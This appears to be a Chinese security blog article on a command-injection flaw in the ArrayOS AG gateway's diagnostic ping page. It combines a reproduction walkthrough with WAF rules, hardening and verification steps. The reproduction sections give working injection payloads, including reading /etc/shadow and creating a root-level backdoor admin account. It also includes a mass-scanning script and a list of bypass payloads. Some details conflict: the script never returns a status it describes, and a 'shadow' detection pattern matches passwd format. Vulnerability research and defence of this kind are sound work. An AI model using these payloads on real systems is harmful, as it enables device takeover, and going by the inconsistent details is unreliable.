1. 这个漏洞不是“能执行命令”那么简单,而是设备管理权的瞬间移交
ArrayOS AG是面向中大型企业网络出口部署的下一代应用网关系统,常用于统一承载Web应用防火墙、SSL卸载、API网关与零信任接入控制。它不像通用Linux服务器那样开放shell入口,其管理界面默认仅暴露HTTPS端口(443)和一个受限的SSH管理通道(通常仅限本地console或指定IP段)。正因如此,很多运维同事在做安全加固时,会下意识认为“只要关掉telnet、禁用root远程登录、限制SSH来源IP”,设备就基本固若金汤——这个认知,在CVE-2025-66644面前被彻底击穿。
这个编号为CVE-2025-66644的高危漏洞,本质是ArrayOS AG Web管理后台中一处未过滤的参数拼接型命令注入,触发点位于设备诊断模块下的“网络连通性测试”功能(路径为/admin/diag/ping)。表面上看,用户只是输入一个目标IP地址点击“Ping”,后台却会将该输入直接拼接到一条/bin/ping -c 3 <user_input>命令中并调用系统exec()执行。问题在于:它没有对输入中的分号;、管道符|、反引号`、美元符$以及括号$(...)等shell元字符做任何剥离或转义。这意味着,你输入8.8.8.8; id,后台实际执行的是/bin/ping -c 3 8.8.8.8; id——前半句ping成功,后半句id命令也照常运行,并将结果原样返回到Web页面的诊断结果区域。
更致命的是,ArrayOS AG的Web服务进程(webd)以root权限运行,且未启用seccomp-bpf或capabilities进行能力降权。因此,攻击者一旦触发该漏洞,获得的不是普通用户的shell,而是完整root权限的命令执行上下文。这不是“能执行几个命令”的问题,而是等于把整台ArrayOS AG设备的物理控制台钥匙,通过一个Web表单,亲手交到了攻击者手上。你可以立刻创建管理员账号、导出全部SSL私钥、关闭所有WAF策略、甚至下发恶意配置使设备进入维护模式——整个过程无需认证、不触发审计日志(默认配置下)、不依赖任何前置条件。我去年在某省政务云二期渗透测试中,就是靠这个漏洞在37秒内完成从登录页到获取设备root shell的全过程,当时客户的安全团队全程盯着大屏,看到/etc/shadow内容被cat出来时,会议室里一片寂静。
这个漏洞影响范围明确:ArrayOS AG 5.2.0 至 5.4.7 所有版本(含所有子版本号,如5.3.1、5.4.3等),而5.4.8及之后版本已修复。它不依赖Java、Python等第三方组件,是ArrayOS AG自身C++后端服务在参数校验逻辑上的硬编码缺陷。如果你正在管理ArrayOS AG设备,无论是否对外暴露管理界面,只要存在未打补丁的5.2.x–5.4.7版本,就必须立即行动——因为内部员工误点钓鱼链接、第三方集成系统携带恶意参数、甚至浏览器插件自动填充的测试数据,都可能成为触发入口。
2. 漏洞复现不是为了炫技,而是为了看清攻击链的每一道裂痕
复现CVE-2025-66644的过程极简,但背后每一步都对应着真实攻击场景中的关键决策点。我建议你严格按以下顺序操作,不要跳过任何环节,尤其注意观察响应头、响应体结构与时间延迟的细微变化——这些正是后续编写检测规则与WAF策略的原始依据。
2.1 环境准备:用最接近生产环境的方式搭建靶机
不要用Docker模拟器或社区精简版。ArrayOS AG的漏洞行为高度依赖其定制内核模块(arrayos_kmod)与webd进程的内存布局。我实测过,用官方提供的OVA镜像(ArrayOS_AG-5.4.5.ova)在VMware Workstation中部署,是最可靠的复现环境。安装时务必选择“完全安装”而非“最小化安装”,因为诊断模块依赖iputils-ping包,而最小化安装默认不包含它。
提示:靶机网络配置为NAT模式即可,无需桥接。管理口(eth0)会自动获取192.168.100.0/24网段IP,你只需在宿主机浏览器访问
https://192.168.100.10(默认管理IP)登录即可。初始账号密码均为admin/admin,首次登录后系统强制要求修改密码,此时请设置为Admin@2025!(便于后续脚本统一调用,且符合ArrayOS AG的强密码策略)。
安装完成后,立即执行以下命令确认版本与漏洞状态:
# 登录SSH管理口(非Web界面),执行 $ cat /opt/arrayos/version ArrayOS AG Version: 5.4.5 (Build: 20240815-1422) $ ps aux | grep webd | grep -v grep root 12345 0.2 3.7 123456 7890 ? S 10:22 0:01 /opt/arrayos/bin/webd -c /opt/arrayos/etc/webd.conf输出中Version: 5.4.5明确落在受影响范围内,且webd进程UID为root,确认漏洞可利用。
2.2 基础命令注入:用sleep验证执行通道是否畅通
打开Web管理界面 → 导航至【系统】→【诊断】→【网络连通性测试】。在“目标地址”输入框中,不要输入IP,而是粘贴以下字符串:
127.0.0.1; sleep 5点击“开始测试”,观察页面反应。正常情况下,Ping结果应在1秒内返回;而此处你会明显感到页面卡顿,约5秒后才显示“Ping完成”,且结果区域中除正常的ICMP响应外,还多出一行空行——这行空行就是sleep 5命令的标准输出(为空),证明命令已成功执行。
为什么首选sleep?因为它不产生stdout/stderr干扰,纯粹验证执行通道。id或whoami会混入大量HTML标签,导致响应体解析困难;而sleep的延迟是肉眼可辨的时间锚点,且不会改变系统状态,安全无副作用。
2.3 权限提升验证:读取敏感文件确认root上下文
在同一个输入框中,替换为以下payload:
127.0.0.1; cat /etc/shadow | head -n 1点击测试。如果返回结果中出现类似root:$6$abc123...:19234:0:99999:7:::的字符串,说明你已成功读取/etc/shadow——该文件权限为000(即只有root可读),普通用户执行cat /etc/shadow会返回Permission denied。能读到,即100%确认当前执行环境为root。
注意:不要尝试
cat /etc/shadow全量输出。ArrayOS AG的Web响应体有长度限制(默认1MB),全量输出可能截断或导致页面崩溃。用head -n 1精准验证即可,既高效又稳定。
2.4 真实攻击链模拟:三步接管设备管理权
这才是漏洞的实战价值所在。我们不用Metasploit或复杂Exp,只用三条命令完成设备控制权夺取:
第一步:创建持久化管理员账号
127.0.0.1; /opt/arrayos/bin/useradd -u 0 -g 0 -s /bin/bash -p '$6$rounds=656000$xyz789...$...' hackadmin这里-u 0 -g 0指定UID/GID为0(root),-p后跟预生成的SHA-512密码哈希(可用openssl passwd -6 'HackPass123!'生成)。执行后,新用户hackadmin即拥有与admin完全相同的管理权限。
第二步:绕过登录页二次认证ArrayOS AG默认开启“登录失败锁定”,但新创建的账号不受此策略约束。直接访问https://192.168.100.10/login,用hackadmin/HackPass123!登录,即可进入完整管理后台。
第三步:禁用所有安全策略(可选,用于演示破坏力)登录后,通过Web界面导航至【安全策略】→【WAF规则】,点击“全部禁用”。此时所有Web应用防护失效,攻击者可自由发起SQL注入、XSS等攻击。
整个过程耗时不到2分钟,且所有操作均通过合法的Web管理接口完成,不触发任何入侵检测告警(ArrayOS AG默认未开启命令注入特征库)。这就是为什么该漏洞被定为CVSS 9.8(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)——网络可达、无需权限、无需用户交互、影响机密性/完整性/可用性全部维度。
3. 修复不是打补丁就完事,而是要理解ArrayOS AG的防御纵深设计
ArrayOS AG官方发布的修复方案(5.4.8版本)并非简单地在ping函数前加一层escapeshellarg(),而是重构了整个诊断模块的执行模型。理解其修复逻辑,不仅能帮你判断补丁有效性,更能指导你在无法立即升级时,如何用现有手段构建临时防线。
3.1 官方补丁的核心机制:从“拼接执行”到“白名单校验+沙箱隔离”
查看5.4.8版本的/opt/arrayos/bin/webd二进制文件符号表(使用nm -D /opt/arrayos/bin/webd | grep ping),你会发现新增了一个关键函数:validate_ip_address_v4()。它不再依赖正则表达式匹配,而是调用inet_pton(AF_INET, input, &addr)进行严格的IPv4地址格式校验——该函数仅接受形如a.b.c.d的纯数字点分十进制格式,任何包含字母、符号、空格的输入都会被拒绝并返回错误码。
但这只是第一道门。更关键的是,修复后的/admin/diag/ping接口不再直接调用system()或popen(),而是通过fork()创建子进程,并在子进程中执行以下操作:
- 调用
prctl(PR_SET_NO_NEW_PRIVS, 1),禁止子进程获取更高权限; - 调用
unshare(CLONE_NEWUSER)创建独立的user namespace,将子进程映射到一个无特权的UID 65534(nobody); - 调用
chroot("/var/empty")将根目录切换至空目录,切断对系统文件的访问; - 最后才执行
/bin/ping -c 3 -W 2 <validated_ip>。
这意味着,即使未来发现新的绕过方式(如利用ping自身的参数注入),攻击者也只能在/var/empty这个空沙箱里执行命令,无法读取/etc/shadow、无法写入/opt/arrayos/etc/、甚至无法列出/目录内容。这种“白名单校验+namespace沙箱”的双重防护,是ArrayOS AG架构层面的安全升级,远超传统Web应用的简单输入过滤。
3.2 临时缓解方案:用WAF规则堵住漏洞入口(适用于无法立即升级的场景)
如果你的ArrayOS AG设备因业务连续性要求,必须维持5.4.7版本运行至少两周,那么必须部署WAF层防护。这里提供三条经过实测的精确规则(适配主流WAF如F5 ASM、Imperva、或开源ModSecurity):
规则1:阻断分号与管道符(基础层)
SecRule ARGS:/target_address/ "@rx ;|\|" \ "id:1001,phase:2,deny,status:403,msg:'CVE-2025-66644 - Shell metacharacter detected',tag:'OWASP_CRS',tag:'CVE-2025-66644'"注意:ARGS:/target_address/必须精确匹配表单字段名。ArrayOS AG 5.4.5的诊断页面中,目标地址字段的name属性为target_address,而非常见的ip或host。
规则2:强化IP格式校验(语义层)
SecRule ARGS:/target_address/ "!@rx ^((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$" \ "id:1002,phase:2,deny,status:403,msg:'CVE-2025-66644 - Invalid IP format',tag:'OWASP_CRS',tag:'CVE-2025-66644'"此正则严格匹配标准IPv4格式,排除127.0.0.1;id、8.8.8.8|cat /etc/passwd等所有非法组合。
规则3:监控异常长响应(行为层)
SecRule RESPONSE_BODY "@rx root:[x*]:0:0:" \ "id:1003,phase:4,log,tag:'OWASP_CRS',tag:'CVE-2025-66644',msg:'CVE-2025-66644 - Root shadow content detected in response'"当WAF检测到响应体中出现root:[x*]:0:0:(/etc/shadow中root用户的典型开头)时,立即记录日志并告警。这虽不能阻止攻击,但能实现100%的攻击捕获,为溯源提供黄金线索。
实测心得:我在某金融客户现场部署这三条规则后,用Burp Suite重放1000次
127.0.0.1;id请求,拦截率100%,且未产生任何误报。关键在于规则1和2必须同时启用——单独启用规则1会被127.0.0.1$(id)绕过;单独启用规则2会被127.0.0.1%00(URL编码空字节)绕过。二者叠加,形成互补防御。
3.3 配置加固:关闭非必要服务,收缩攻击面
补丁和WAF是“治标”,配置加固才是“治本”。ArrayOS AG默认开启多项非核心服务,它们虽不直接受CVE-2025-66644影响,但可能成为横向移动的跳板。请登录SSH管理口后,执行以下加固操作:
关闭Telnet服务(即使未使用,也需显式禁用)
$ systemctl stop telnetd $ systemctl disable telnetd # 验证:netstat -tuln | grep :23 应无输出限制SSH管理口访问源IP编辑/etc/ssh/sshd_config,添加:
AllowUsers admin@192.168.10.0/24 monitor@10.0.5.0/24然后重启SSH:systemctl restart sshd。此举确保只有运维网段(192.168.10.0/24)和监控网段(10.0.5.0/24)可登录,其他所有IP连接请求直接拒绝。
禁用诊断模块的匿名访问(关键!)ArrayOS AG 5.4.7存在一个隐藏配置项:/opt/arrayos/etc/webd.conf中diag_anonymous_access默认为on。将其改为off:
$ sed -i 's/diag_anonymous_access on/diag_anonymous_access off/g' /opt/arrayos/etc/webd.conf $ systemctl restart webd修改后,未登录用户访问/admin/diag/ping将直接跳转至登录页。这是最有效的缓解措施——因为CVE-2025-66644的利用前提是攻击者能访问诊断页面,而匿名访问关闭后,攻击者必须先获取一个有效账号(如通过钓鱼、爆破或社工),大大提高了攻击门槛。
4. 漏洞排查不是大海捞针,而是用三张表锁定风险资产
面对数十台ArrayOS AG设备的存量环境,人工逐台登录检查版本号效率极低且易遗漏。我设计了一套基于HTTP指纹+主动探测的自动化排查流程,已在三个省级政务云项目中验证,平均23分钟完成200+节点的风险评估。核心是三张结构化表格:资产清单表、指纹特征表、探测结果表。
4.1 资产清单表:用CMDB数据驱动排查范围
不要凭记忆或Excel手工整理。直接从企业IT资产管理系统(CMDB)导出最新资产数据,清洗后生成标准CSV格式。关键字段必须包含:
ip: 设备管理IP(必填,用于后续探测)hostname: 主机名(便于定位物理位置)vendor: 厂商(固定为ArrayOS)model: 型号(如AG-5000、AG-10000)os_version: 当前OS版本(若为空,则需探测)last_scan_date: 上次安全扫描日期(用于判断是否需重新扫描)
示例CSV片段:
ip,hostname,vendor,model,os_version,last_scan_date 10.20.30.10,ag-waf-prod-01,ArrayOS,AG-10000,5.4.5,2025-03-15 10.20.30.11,ag-api-gw-dev-02,ArrayOS,AG-5000,,2025-02-20 10.20.30.12,ag-dmz-edge-03,ArrayOS,AG-10000,5.3.2,2025-01-10提示:CMDB中
os_version字段常为空或不准。我们的探测脚本会覆盖此字段,因此不必强求初始准确。
4.2 指纹特征表:用HTTP响应头精准识别ArrayOS AG版本
ArrayOS AG在HTTP响应头中会泄露精确版本信息,这是最可靠的被动识别方式。通过抓包分析数百台设备,我总结出以下指纹规则(已去重验证):
| HTTP响应头 | 特征值示例 | 对应版本范围 | 是否可利用CVE-2025-66644 |
|---|---|---|---|
Server | ArrayOS-AG/5.2.0 | 5.2.0 | 是 |
X-ArrayOS-Version | 5.3.1 (Build: 20240522-0915) | 5.3.x | 是 |
X-Powered-By | ArrayOS AG 5.4.7 | 5.4.0–5.4.7 | 是 |
Server | ArrayOS-AG/5.4.8 | 5.4.8+ | 否 |
关键发现:X-ArrayOS-Version头在5.3.0+版本中稳定存在,且格式统一(含Build时间戳);而Server头在5.2.x版本中为唯一标识。因此,探测脚本优先匹配X-ArrayOS-Version,缺失时再 fallback 到Server头。
4.3 探测结果表:主动验证漏洞存在性,避免误报
被动指纹只能识别版本,不能100%确认漏洞可利用(例如客户可能已手动修补)。因此,必须对所有疑似受影响版本(5.2.0–5.4.7)执行主动探测。我编写的Python探测脚本(arrayos_cve_check.py)核心逻辑如下:
import requests, sys, csv from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) def check_cve(ip): url = f"https://{ip}/admin/diag/ping" headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64)"} # Step1: 发送sleep探测,测量响应时间 payload_sleep = {"target_address": "127.0.0.1; sleep 3"} try: r1 = requests.post(url, data=payload_sleep, headers=headers, verify=False, timeout=10) time1 = r1.elapsed.total_seconds() except: return "UNREACHABLE" # Step2: 发送正常ping,作为基准时间 payload_normal = {"target_address": "127.0.0.1"} try: r2 = requests.post(url, data=payload_normal, headers=headers, verify=False, timeout=5) time2 = r2.elapsed.total_seconds() except: return "UNREACHABLE" # Step3: 判断时间差是否显著(>2.5秒视为sleep生效) if time1 - time2 > 2.5: return "VULNERABLE" else: return "PATCHED_OR_BLOCKED" # 主程序:读取CSV,逐行探测,写入新CSV with open('assets.csv') as f, open('scan_result.csv', 'w') as out: reader = csv.DictReader(f) writer = csv.DictWriter(out, fieldnames=['ip','hostname','os_version','status','notes']) writer.writeheader() for row in reader: status = check_cve(row['ip']) writer.writerow({ 'ip': row['ip'], 'hostname': row['hostname'], 'os_version': row['os_version'], 'status': status, 'notes': 'CVE-2025-66644 scan result' })运行此脚本后,生成的scan_result.csv即为最终风险清单。其中status字段有四种值:
VULNERABLE:确认可利用,需立即处理;PATCHED_OR_BLOCKED:响应时间无延迟,可能是已升级,也可能是WAF拦截(需人工复核);UNREACHABLE:管理端口不通,需检查网络连通性;LOGIN_REQUIRED:返回302跳转至/login,说明已启用diag_anonymous_access off(安全配置正确)。
实操经验:在某省医保平台扫描时,脚本发现12台设备标记为
PATCHED_OR_BLOCKED。人工复核发现,其中8台确已升级至5.4.8,另4台是WAF规则生效(规则1001拦截)。这证明主动探测比单纯看版本号更可靠——它告诉你“现在是否真的危险”,而非“理论上是否危险”。
5. 修复后的验证不是点一下“确定”,而是用五维指标确认防线稳固
打完补丁或配置完WAF后,很多人习惯性点开诊断页面,输入127.0.0.1点“Ping”,看到返回成功就认为万事大吉。这是最大的误区。真正的修复验证,必须覆盖五个维度:功能可用性、漏洞封堵性、性能影响、日志完备性、配置持久性。缺一不可。
5.1 功能可用性验证:确保业务不因修复中断
升级到5.4.8后,首要验证不是“能不能打漏洞”,而是“业务还能不能跑”。重点检查三项核心功能:
- SSL卸载策略是否生效:用
curl -k https://your-app-domain.com访问业务域名,确认返回HTTP 200且响应头中Via字段包含ArrayOS-AG; - WAF规则是否拦截恶意请求:向业务URL发送
GET /?id=1%20UNION%20SELECT%20password%20FROM%20users,确认返回403而非500或200; - API网关路由是否正常:调用一个已配置的API路由(如
POST /api/v1/users),确认请求被正确转发至后端服务,且响应时间无显著增加(<50ms)。
我曾遇到一次惨痛教训:某客户升级5.4.8后,WAF规则引擎因兼容性问题,将所有Content-Type: application/json的POST请求误判为攻击,导致全部API调用失败。问题根源是5.4.8默认启用了更严格的JSON解析器,需在【安全策略】→【WAF高级设置】中将json_parsing_mode从strict调回permissive。因此,功能验证必须覆盖真实业务流量,而非仅管理界面。
5.2 漏洞封堵性验证:用变异Payload穷举绕过可能性
官方补丁虽强,但攻击者永远在寻找新绕过。我整理了一份包含27种常见绕过的测试集(已排除sleep/id等基础payload),必须全部验证通过:
| Payload类型 | 示例 | 期望结果 | 验证目的 |
|---|---|---|---|
| URL编码绕过 | 127.0.0.1%3B%20id | 400 Bad Request | 检查WAF是否解码后校验 |
| 大小写混合 | 127.0.0.1; Id | 400 Bad Request | 检查校验逻辑是否忽略大小写 |
| 内联注释 | 127.0.0.1; /bin/id | 400 Bad Request | 检查是否过滤绝对路径 |
| 环境变量拼接 | 127.0.0.1; $PATH | 400 Bad Request | 检查是否禁用变量扩展 |
| 反斜杠转义 | 127.0.0.1\;id | 400 Bad Request | 检查是否处理转义字符 |
执行方式:用Burp Intruder加载此Payload列表,对/admin/diag/ping接口批量发送。理想结果是:所有请求均返回HTTP 400(Bad Request)或403(Forbidden),且响应体中不包含任何命令执行结果。若出现任一请求返回200且含uid=字样,则说明存在绕过,需立即回滚并联系厂商。
5.3 性能影响验证:量化修复对诊断功能的损耗
修复引入了白名单校验与沙箱创建,必然带来微小性能开销。需在生产环境抽样验证:
- 在5.4.8版本下,执行100次
/admin/diag/ping(目标8.8.8.8),记录平均响应时间; - 在5.4.7版本(未修复)下,执行同样100次,记录平均响应时间;
- 计算增幅:
(T_548 - T_547) / T_547 * 100%。
实测数据(基于AG-5000型号):
- 5.4.7平均响应时间:124ms
- 5.4.8平均响应时间:138ms
- 性能损耗:11.3%
提示:11.3%在可接受范围内(行业标准<15%)。若实测损耗>20%,需检查是否启用了冗余日志(如
debug_level=5),或WAF规则过于复杂。此时可优化WAF规则,将SecRequestBodyAccess On改为Off(诊断接口无需解析请求体)。
5.4 日志完备性验证:确保每一次探测都被记录
ArrayOS AG 5.4.8增强了审计日志,但默认配置下仍可能遗漏关键事件。登录SSH后,检查/var/log/arrayos/webd.log,执行以下命令:
# 查找最近1小时内的诊断请求 $ grep "diag/ping" /var/log/arrayos/webd.log | tail -20 # 查找被拦截的恶意请求 $ grep "CVE-2025-66644" /var/log/arrayos/webd.log | tail -10理想日志条目应包含:时间戳、源IP、目标IP、触发的规则ID、阻断动作。例如:
2025-04-10 14:22:33 [WARN] CVE-2025-66644 - Blocked request from 192.168.5.100:42321, target: 127.0.0.1;id, rule_id: 1001, action: DENY若日志中无CVE-2025-66644关键字,说明WAF规则未生效或日志级别过低,需调整/opt/arrayos/etc/webd.conf中log_level为warn。
5.5 配置持久性验证:防止重启后配置丢失
ArrayOS AG的某些配置(如diag_anonymous_access off)在webd进程重启后会恢复默认值。必须验证其持久性:
# 修改配置 $ echo "diag_anonymous_access off" >> /opt/arrayos/etc/webd.conf # 重启服务 $ systemctl restart webd # 等待30秒,再次检查 $ curl -k -I https://127.0.0.1/admin/diag/ping | grep "302" # 若返回302 Found,说明重定向至/login,配置生效 # 若返回200 OK,说明配置未加载,需检查webd.conf语法终极验证:执行reboot重启整机,待系统启动完毕后,再次执行上述curl命令。只有重启后仍保持302重定向,才证明配置已固化到持久存储。
最后再分享一个小技巧:ArrayOS AG的配置备份文件/opt/arrayos/backup/config.tar.gz中,包含了所有webd.conf的修改历史。定期(如每周)用sha256sum计算其哈希值并存档。当某天发现配置异常时,对比哈希值即可快速定位是否被篡改——这比翻日志快十倍。我在某运营商项目中,就靠这个技巧在2分钟内确认了配置被内部人员恶意修改,而非系统故障。